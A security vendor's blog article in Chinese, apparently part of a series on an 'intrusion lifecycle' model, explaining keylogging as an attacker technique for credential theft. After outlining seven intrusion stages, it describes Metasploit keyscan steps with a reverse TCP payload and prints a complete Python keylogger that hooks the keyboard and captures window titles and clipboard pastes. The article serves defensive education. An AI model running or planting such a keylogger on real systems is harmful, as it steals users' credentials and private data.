提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      《入侵生命周期细分实践指南》:键盘记录
      发布时间:2021-12-28 阅读次数: 441 次

      美创科技为了更好地进行入侵检测和防御,参照各种安全威胁框架和自身的实践与思考,提出了基于入侵生命周期的攻击管理模型。


      作为美创新一代安全架构的三大支柱之一。入侵生命周期v1.0把入侵过程划分为7个阶段:探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库,匹配到不同的入侵阶段。需要注意的是,并非所有的入侵都会经历这7个阶段,也没有绝对的线性次序。


      1)探索发现

      在这个阶段中,攻击者会先锁定攻击对象,然后利用某些技术手段,尽可能多地获取目标暴露出来的信息,如通过端口扫描、指纹探测等方式,发现敏感端口及版本信息,进而寻找攻击点,为下一步入侵做准备。


      2)入侵和感染

      在这个阶段,攻击者会根据“探索发现”阶段所发现的重要信息,来对目标暴露出的攻击面进行攻击尝试,在“探索发现”阶段收集到的信息越多,攻击对象所暴露的攻击面也就越多,攻击更易成功。


      3)探索感知

      攻击者在成功进入系统内部后,由于是首次进入所以会出现对内部环境不熟悉的情况,这时攻击者的动作一般会是对当前所处环境进行探索,摸清内部大致的网络结构,常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描,后续根据攻击者的目的进行下一步操作。


      4)传播

      在此阶段,攻击者根据上一阶段在内网探索感知收集到的信息,选择特定的攻击手法。如若发现内部是域环境,攻击者可能会尝试先攻破域控服务器,再传播其他机器。若是工作组环境,可能会利用收集到的端口和服务信息,选择特定漏洞进行批量扫描攻击,来尽可能多地继续获得其他计算机的控制权。


      5)持久化

      攻击者在对资产进行恶意操作后,为了能够减少再次连接的攻击成本,方便下次进入,会进行“留后门”的操作,常见的后门如:建立计划任务,定时连接远程服务器;设置开机启动程序,在每次开机时触发执行特定恶意程序;新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。


      6)攻击和利用

      攻击者在此阶段便会开始对目标资产进行恶意操作,按照攻击者意愿,对能利用的数据进行窃取、利用;对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。


      7)恢复

      攻击者在执行所有的攻击操作时,往往会在系统上留下大量的行为日志,因此在这一阶段,攻击者会对记录自身痕迹的所有日志进行处理,或删除或混淆,从而消灭证据,逃避追踪。


      本系列文章基于美创科技入侵生命周期1.0架构,细分个阶段攻击者的常用攻击手段,并对相关攻击手段的具体实施方式进行逐一剖析,为安全防御建设提供有力知识补充和反制准备。



      键盘记录
      (探索感知)

      攻击者可能会记录用户的键盘输入内容,以窃取用户的凭证,具体包括用户个人身份信息、金融交易账号信息,电子邮件账号信息以及各类私人账户登录信息。


      从入侵生命周期角度分析,键盘记录可被攻击者用于探索感知阶段和持久化阶段。在探索感知阶段,攻击者首次成功进入用户系统内部后,会对当前所处的系统环境进行探索,可能会采用键盘记录的方式来获取用户的有效凭证,以便于进行下一步的攻击操作。但这可能需要攻击者在相当长的一段时间内记录系统上的键盘输入,才能成功获取凭证。


      从攻击行为链条的上下文来看,针对键盘记录的行为链条输入输出如下:


      输入:用于键盘记录的脚本文件或木马


      输出:键盘记录结果


      针对键盘记录,目前主要有以下几种常用手段:


      1.Metasploit后渗透——键盘监控


      (1)  使用msfvenom工具生成一个有效载荷,用于与攻击机器的反向 TCP 连接;




      (2)  启动监听;



      (3)  使用keyscan_start开始键盘监控;keyscan_dump导出键盘记录;keyscan_停止键盘监控;



      2.执行脚本进行键盘监控


      python代码:


      #-*- coding:utf8 -*-

      from ctypes import *

      import pythoncom

      import pyHook

      import win32clipboard

      user32 = windll.user32

      kernel32 = windll.kernel32

      psapi = windll.psapi

      current_window = None

      def get_current_process():

          # 获取前台窗口句柄

          hwnd =user32.GetForegroundWindow()

          # 获得进程ID

          pid = c_ulong(0)

         user32.GetWindowThreadProcessId(hwnd, byref(pid))

          # 保存当前进程ID

          process_id ="%d" % pid.value

          # 申请内存

          executable =create_string_buffer("x00" * 512)

          # 打开进程

          h_process =kernel32.OpenProcess(0x400 | 0x10, False, pid)

          # 获取进程所对应的可执行文件的名字

         psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)

          # 读取窗口标题

          window_title =create_string_buffer("x00" * 512)

          length =user32.GetWindowTextA(hwnd, byref(window_title), 512)

          # 输出进程相关信息

          print

          print "`PID: %s - %s - %s`" % (process_id, executable.value, window_title.value)

          print

          # 关闭句柄

         kernel32.CloseHandle(hwnd)

         kernel32.CloseHandle(h_process)

      def keyStore(event):

          globalcurrent_window

          # 检查目标是否切换了窗口

          ifevent.WindowName != current_window:

             current_window = event.WindowName

             get_current_process()

          # 检测按键是否为常规按键(非组合键等)

          if event.Ascii> 32 and event.Ascii < 127:

              printchr(event.Ascii),

          else:

              # 若输入为`CTRL-V`,则获取剪切板内容

              ifevent.Key == "V":

                 win32clipboard.OpenClipboard()

                 pasted_value = win32clipboard.GetClipboardData()

                 win32clipboard.CloseClipboard()

                  print"`PASTE` - %s" % (pasted_value),

              else:

                  print"`%s`" % event.Key,

          # 返回直到下一个钩子事件被触发

          return True

      # 创建和注册钩子函数管理器

      k1 =pyHook.HookManager()

      #

      k1.KeyDown = keyStore

      # 注册键盘记录的钩子,然后永久执行

      k1.HookKeyboard()

      pythoncom.PumpMessages()

       

      执行后,成功记录键盘。


      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部